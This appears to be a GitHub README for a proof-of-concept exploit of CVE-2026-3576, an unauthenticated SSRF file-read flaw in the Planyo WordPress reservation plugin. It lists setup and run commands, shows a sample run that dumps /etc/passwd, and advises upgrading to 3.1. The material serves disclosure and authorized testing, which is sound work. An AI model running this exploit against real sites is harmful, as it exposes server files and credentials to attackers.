CVE-2026-3576 - Wordpress Plugin Planyo Online Reservation System <= 3.0 - Arbitrary File Read via SSRF
This repo contains a Proof of Concept(PoC) exploit for CVE-2026-3576. It has been added to Exploit-DB.
This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own or have permission to test.
A Server Side Request Forgery(SSRF) vulnerability exists in Planyo Online Reservation System plugin in wordpress prior to version 3.1. It allows an unauthenticated attacker to supply a file://URL via the ulap_url parameter, resulting in arbitrary file access.
A detailed writeup with source code analysis and exploit demonstration can be found on my Medium blog.
| Component | Version |
|---|---|
| Vulnerable plugin | <=3.0 |
| Patched plugin | 3.1 |
- Python 3.13.14
- Requests 2.32.5
git clone https://github.com/anirbala98/CVE-2026-3576.git
cd CVE-2026-3576/
pip install -r requirements.txt
python exploit.py <base_url> -f <file location> --disable-check
python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
└─$ python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
[*] Checking if target is vulnerable...
[+] Version found: 2.9
[+] Target is vulnerable
[*] Attempting to read arbitrary file...
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
Upgrade the plugin to version 3.1.
- https://nvd.nist.gov/vuln/detail/CVE-2026-3576
- https://www.planyo.com/wordpress-reservation-system/
- https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
- https://www.exploit-db.com/exploits/52636
- https://anirbala98.medium.com/from-source-code-to-exploit-understanding-cve-2026-3576-3fa9754bd8d3